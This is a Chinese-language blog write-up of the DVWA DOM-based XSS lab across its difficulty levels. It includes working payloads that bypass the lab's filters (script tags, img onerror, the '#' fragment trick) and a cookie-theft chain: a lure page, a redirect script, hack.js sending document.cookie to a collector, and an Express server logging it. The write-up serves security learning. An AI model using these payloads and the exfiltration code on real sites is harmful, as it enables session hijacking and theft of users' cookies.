1. 背景
最近需要補充一下網絡安全方面的知識,於是就從基礎的靶場 DVWA (Damn Vulnerable Web Application)
開始刷起,這一篇是關於從Low
到High
難度的跨站腳本攻擊的內容。
和我一樣希望學習網絡安全知識的同學,推薦學習《Web安全攻防實戰》和《安全攻防技能30講》。
2. 環境搭建
參考上一篇關於 Brute Force 暴力破解密碼的博客。
3. 跨站腳本攻擊
3.1. Low
先從 Low
難度開始,這是一個下拉選擇框,我們先看一看構成選項的Javascript
代碼,這裏會將URL中的default
關鍵字的值拼接到HTML
中。
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
再看一看服務端的代碼,Low
難度沒有對URL
進行任何控制。
<?php
# No protections, anything goes
?>
比如我們想要竊取別人的Cookie
的話,只需要誘導他點擊下面的鏈接。
http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English<script>alert(document.cookie)</script>
當然,這個鏈接太明顯了,別人不一定會點擊,我們可以在服務器上掛一個網頁,從網頁轉到這個鏈接即可。
這裏我們僅在本地調試,我們在本地8888
端口掛一個hack.js
文件,這裏的命令將會把Cookie
發送到hack
接口。
window.location.href = "http://localhost:8888/hack?cookie=" + document.cookie;
再構造一個跳轉頁面作爲index.html
。
<!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="UTF-8">
<style>
div {
text-align: center;
}
</style>
</head>
<body>
<div>
<p>
頁面跳轉中,請稍候。。。
</p>
<script src="transfer.js">
</script>
</div>
</body>
</html>
下面是頁面中執行的transfer.js
文件,它將當前頁面跳轉到XSS,然後執行hack.js
,把cookie
發送到了hack
端口。
window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English<script src=http://localhost:8888/hack.js>\</script>";
服務端以Express
爲例,hack
端口輸出了傳入的cookie
,並將頁面再重定向到 www.baidu.com
。Express
的具體配置可以參考另一篇博客。
var app = express();
app.get('/hack', function (req, res, next) {
console.log("-----------------");
console.log(req.query.cookie);
console.log("-----------------");
res.redirect('http://www.baidu.com');
});
最後cookie
顯示在了服務端的日誌中。
3.2. Medium
接下里是 Medium
難度。
我們先查看一下源碼,這裏對default
屬性的值做了一個判斷,如果包含<script
則將其值恢復到English
,會將URL
中的JavaScript
腳本篩除掉。
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
script
標籤不能用了,我們還可以使用img
標籤訪問一個不存在的資源,然後在onerror
中調用JavaScript
代碼。
如果用document.write
在select
標籤中寫入img
標籤,會被自動抹除掉,所以要閉合option
和select
標籤
把transfer.js
改成下面這樣,就能在onerror
中使用alert
命令了。
window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n2.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English</option></select><img hidden src=x οnerrοr=alert(document.cookie)>";
不過這裏因爲不能把字符串和變量區分開,所以不能使用更加複雜的JavaScript
代碼。
要實現把cookie發送到服務端,我們還可以在URL中使用 #
符號,#
在URL中用來在頁面中進行定位,瀏覽器不會把 #
後面的值發送到服務端。
所以,我們在transfer.js
中加入一個 #
符號。
window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English# <script src=http://localhost:8888/hack.js>\</script>";
這樣就能繞過檢查規則,達到向我們的服務器發送cookie
的目的了。
3.3. High
接下來是High
難度,源碼如下。
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
這裏使用了白名單,只允許 default
屬性爲4個合法值。用上面提到的#
符號同樣可以繞過。
window.location.href = "http://9710fc76520cf9b2ff5ea67e0af9e0df.n1.vsgo.cloud:10278/web/vulnerabilities/xss_d/?default=English# <script src=http://localhost:8888/hack.js>\</script>";
3.3. Impossible
Impossible
就基本上沒有什麼安全漏洞了。
<?php
# Don't need to do anything, protction handled on the client side
?>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
JavaScript
中沒有對URL
進行解碼,English
後面的腳本會被URL
編碼後放在選項中,腳本不會執行。
聯繫郵箱:[email protected]
CSDN:https://me.csdn.net/qq_41729780
知乎:https://zhuanlan.zhihu.com/c_1225417532351741952
公衆號:複雜網絡與機器學習
歡迎關注/轉載,有問題歡迎通過郵箱交流。